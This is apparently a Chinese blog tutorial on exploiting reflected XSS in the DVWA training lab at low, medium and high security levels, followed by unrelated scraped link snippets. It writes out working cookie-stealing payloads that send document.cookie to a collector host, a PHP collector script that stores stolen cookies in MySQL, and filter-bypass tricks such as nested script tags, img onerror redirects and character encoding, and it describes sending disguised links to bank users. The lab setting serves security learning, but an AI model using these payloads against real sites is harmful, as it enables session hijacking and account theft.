今天我学习一下反射型XSS。

1、low级别

打开DVWA网站,先切换到low级别,选择XSS(Reflected)

先查看其源代码:

<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>

从上面代码以及执行结果来看,直接把用户输入,也就是name变量值直接显示在界面。试探是否存在XSS,最直接的方法是输入payload代码 <script>alert("xss")</script>,执行查看结果,如果能够弹出alert对话框,则证明存在xss。

DVWA网站上,在上面提交<script>alert("xss")</script>,,出现上面提示框,则证明该网站存在xss攻击漏洞。

利用这个XSS,我们可以获取用户的cookie或session,获得后,可以构造“合法用户”去访问网站。首先编写js文件,在窗口输入中,输入后执行这个JS文件。JS代码如下:

document.write("<form action='http://192.168.92.129/DVWA/steal.php' name='exploit' method='post' style='display:none'>");

document.write("<input type='hidden' name='data' value='"+document.cookie+"'>");

document.write("</form>");

document.exploit.submit();

上面代码主要是构造一个页面,这个页面做一个隐藏的form表单和隐藏域,内容是把当前网站的cookie提交表单后,提交到steal.php文件处理。在攻击时,这个js文件和这个php文件以及数据库是放在攻击者自己的服务器上。这里我把他们都放在了同一个网站里,原理是相同的。

由steal.php文件完成把cookie写入文件,steal.php文件内容如下。

<?php

header("content-type:text/html;charset=utf-8");

$conn=mysqli_connect("localhost","root","123456");

mysqli_select_db($conn,"dvwacookie");

if(isset($_GET['data']))

{

$sql="insert into low(cookie) values('".$_GET['data']."');";

$result=mysqli_query($conn,$sql);

echo "1</br>";

mysqli_close();

}

else if(isset($_POST['data']))

{

$sql="insert into low(cookie) values('".$_POST['data']."');";

if (mysqli_query($conn,$sql)) {

echo "scuess!";

} else {

echo "Error: " . $sql . "<br>" . mysqli_error($conn);

}

echo "2</br>".$_POST['data']."</br>";

mysqli_close();

}

else {

$sql="select * from low";

$result=mysqli_query($conn,$sql);

while($row=mysqli_fetch_array($result))

{

echo "cookie is:".$row[1]."</br>";

}

mysqli_close();

}

?>

上面代码主要根据是get还是post,取数据函数不同。在连接数据库后,把cookie写入到表low中。建库和表的SQL语句如下。

这个库表的建立sql语句

SET FOREIGN_KEY_CHECKS=0;

DROP TABLE IF EXISTS `high`;

CREATE TABLE `high` (

`id` int(11) NOT NULL AUTO_INCREMENT,

`cookie` varchar(100) COLLATE utf8_unicode_ci NOT NULL,

PRIMARY KEY (`id`)

) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;

DROP TABLE IF EXISTS `low`;

CREATE TABLE `low` (

`id` int(11) NOT NULL AUTO_INCREMENT,

`cookie` varchar(100) COLLATE utf8_unicode_ci NOT NULL,

PRIMARY KEY (`id`)

) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;

DROP TABLE IF EXISTS `medium`;

CREATE TABLE `medium` (

`id` int(11) NOT NULL AUTO_INCREMENT,

`cookie` varchar(100) COLLATE utf8_unicode_ci NOT NULL,

PRIMARY KEY (`id`)

) ENGINE=MyISAM AUTO_INCREMENT=8 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;

在输入窗口下,输入下面payload进行攻击,上面代码中为了调试,添加打印语句,实际攻击中,不会有内容输出到页面上。

<script src=http://192.168.92.129/DVWA/cookie.js></script>

相当于在浏览器地址栏执行下面语句:

http://192.168.92.129/DVWA/vulnerabilities/xss_r/?name=<script src=http://192.168.92.129/DVWA/cookie.js></script>

我们在这里演示为了方便,放在了同一个域下面。实际上src可以加载远程服务器的js。

执行完成后,看到已经插入到low表中。

如果没有插入记录成功,则可能是mysql设置问题,执行下面语句。

1 show variables like "sql_mode";

2 set sql_mode='';

3 set sql_mode='NO_ENGINE_SUBSTITUTION,STRICT_TRANS_TABLES';

XSS攻击方式经常是攻击者可以将带有执行脚本的链接地址伪装后发给正在访问某个网站(例如某银行网银)的受害者,受害者点击时就会加载远程服务器(这里是win7)的cookie.js脚本,这里要提一点,用src加载远程服务器的js脚本,那么js的源就会变成加载它的域,从而可以读取该域的数据。

2、Medium级别

下面是我们学习Medium级别,切换到中级,查看网站代码:

可以看到使用str_replace函数把<script>替换为空格了。所以我们在构造js文件时,可以利用str_replace函数只能替换一次,且不区分大小写的特点,在提交表单时,把js语句调整为<scri<script>pt src=http://192.168.92.129/DVWA/cookie.js></script>

上面str_replace函数是对name变量字符串进行正则替换,如果找到<script>替换为空,替换后执行的还是<script src=http://192.168.92.129/DVWA/cookie.js></script> 语句。

同时修改steal.php中的表,写到medium表中。执行后,检查medium表,可以查看到把cookie写到medium表中。

3、High级别

下面学习安全级别设置为Hight的情况。设置后查看源代码

发现添加了对大小写绕过的判断,而且根据正则表达式过滤,提交内容只要有script顺序出现的字母都一律过滤掉,只是过滤了script标签,但是有一些javascript事件后仍然能执行javascript代码,构造payload。

上面preg_replace字符串替换函数中,使用的正则表达式。

preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name'表示在在字符串中找script6个字符,i是不区分大小写,这些字符中间可以或前后可以有其它多个字符。

<img src=# οnerrοr=alert("xss")> 能够执行,证明还是存在XSS攻击。通过加载一个不存在的图片出错触发javascript on error事件,继续弹框,证明出来有xss,这样的payload还有很多。

那么输入下面语句试试,发现没有得到cookie

<img

src=# οnerrοr=(location.href="http://192.168.92.129/DVWA/steal.php?data="+document.cookie)>

分析上面语句,发现了问题,在上面语句中,发现了可以构成script,看下面我标记后的语句

<img

src=# οnerrοr=(location.href="http://192.168.92.129/DVWA/steal.php?data="+document.cookie)>

说明把最后一个t之前的全部过滤了。

把其中一个字符使用ASCII编码,防止出现script字符串。

可以使用转码网站http://www.ofmonkey.com/encode/ascii

<img

src=# οnerrοr=(location.href="http://192.168.92.129/DVWA/steal.php?data="+document.cookie)>

则能正常执行,获得cookie

我们再替换其中一个字符t,ASCII编码 t

<img

src=# οnerrοr=(location.href="http://192.168.92.129/DVWA/steal.php?data="+document.cookie)>

执行完成后,也会得到cookie。字符转码是在攻击中经常使用的技术。

关注安全 关注作者

(完)

int型 判断奇偶_XSS(Reflected) 反射型跨站攻击相关推荐

  1. int型 判断奇偶_905. 按奇偶排序数组

    905. 按奇偶排序数组 Loading...​leetcode-cn.com 给定一个非负整数数组 A,返回一个由 A 的所有偶数元素组成的数组,后面跟 A 的所有奇数元素. 你可以返回满足此条件的 ...

  2. 【DVWA(五)】XXS存储型跨站攻击

    XSS存储型跨站攻击(Stored Cross Site Scripting) 前言: 相较于XSS反射型跨站攻击,存储型具有更严重的危害,如果在窃取信息的同时对网页没有任何变化,那受害者将很难发现. ...

  3. Weblogic服务端请求伪造漏洞(SSRF)和反射型跨站请求伪造漏洞(CSS)修复教程...

    一.服务端请求伪造漏洞 服务端请求伪造(Server-Side Request Forgery),是指Web服务提供从用户指定的URL读取数据并展示功能又未对用户输入的URL进行过滤,导致攻击者可借助 ...

  4. XSS跨站攻击解决办法--AntiSamy的配置及使用

    XSS跨站攻击 跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS.恶意攻击 ...

  5. 如何进行渗透测试XSS跨站攻击检测

    国庆假期结束,这一节准备XSS跨站攻击渗透测试中的利用点,上一节讲了SQL注入攻击的详细流程,很多朋友想要咨询具体在跨站攻击上是如何实现和利用的,那么我们Sinesafe渗透测试工程师为大家详细的讲讲 ...

  6. http referer 验证防御方法_渗透测试 跨站攻击防御与安全检测手法剖析

    上一节讲到了渗透测试中xss跨站攻击检测方法和防护,这一节也是关于跨站攻击的另一个手法CSRF,很多客户找到我们想要了解更多的跨站攻击检测方法以及防御此类攻击的办法,想要让网站的安全性更加坚固,对此提 ...

  7. 渗透测试 跨站攻击手法剖析

    上一节讲到了渗透测试中xss跨站攻击检测方法和防护,这一节也是关于跨站攻击的另一个手法CSRF,很多客户找到我们Sinesafe想要了解更多的跨站攻击检测方法以及防御此类攻击的办法,想要让网站的安全性 ...

  8. PHP中SQL注入与跨站攻击的防范

    SQL injection即SQL注入是我们每个WEB程序员都需要面对的问题,一个WEB应用假如没有起码的安全性,那么其它的一切就可以免谈了.注入问题在ASP上可谓是闹得沸沸扬扬,当然还有不少PHP程 ...

  9. PHP 防XSS跨站攻击

    //防止跨站攻击static public function removeXss($val){ $val = preg_replace('/([\x00-\x08][\x0b-\x0c][\x0e-\ ...

最新文章

  1. Linux下的softlink和hardlink(转)
  2. Matlab数据的可视化 -- 三维表面图
  3. 发布 SharePoint Server 2007 Starter Page
  4. AMD宣布350亿美元收购赛灵思,CPU、GPU、FPGA全凑齐,中国握有否决权
  5. JavaScript对象理解
  6. leetcode714. 买卖股票的最佳时机含手续费(动态规划)
  7. linux怎么修改bash,Linux操作系统中如何对Bash变量内容修改?
  8. 织梦怎样调取mysql_如何实现dedecms外部数据库调用
  9. join left semi_Hive的left join、left outer join和left semi join三者的区别
  10. 【好看图标不用愁】吾爱万能软件ICO图标提取器
  11. 解决TCP延迟应答(Delay ACK)问题的3个小Trick
  12. 无缝拼接文件 copy/b 使用
  13. 腾讯云发布智慧员工管理方案,支持组织360度协作
  14. 【终极!!!】cannot connect to X server, couldnt connect to display
  15. 【windows版本】 db2数据库安装与使用
  16. windows7旗舰版64位安装时出现选择需要安装的驱动程序
  17. Python学习笔记——流程控制(拉勾教育数据分析实战训练营学习笔记)
  18. 商业分析_第一篇 价格弹性
  19. 染色法判断无向图是否为二部图
  20. unity绑定骨骼动画 使用现成的模型和动作库

热门文章

  1. 休眠事实:有利于双向集vs列表
  2. 使用NoSQL实现实体服务–第2部分:合同优先
  3. oracle数值型转为char类型,PLSQL: Oracle函数to_char转化数字型指定小数点位数的技巧...
  4. Windows 命令终端(CMD)的快捷键
  5. 操作系统时间片轮换_《操作系统_时间片轮转RR进程调度算法》
  6. python编写程序时必须遵守的规则被称为_Python程序设计方案习题与答案
  7. Mysql索引使用情况_介绍mysql索引失效的情况
  8. 打印pdf就一页_Excel表格打印技巧汇总,看完才发现,你连基础打印技巧都不知道...
  9. APP 文档服务器,app服务器
  10. mysql+after+commit_Spring事务aftercommit原理及实践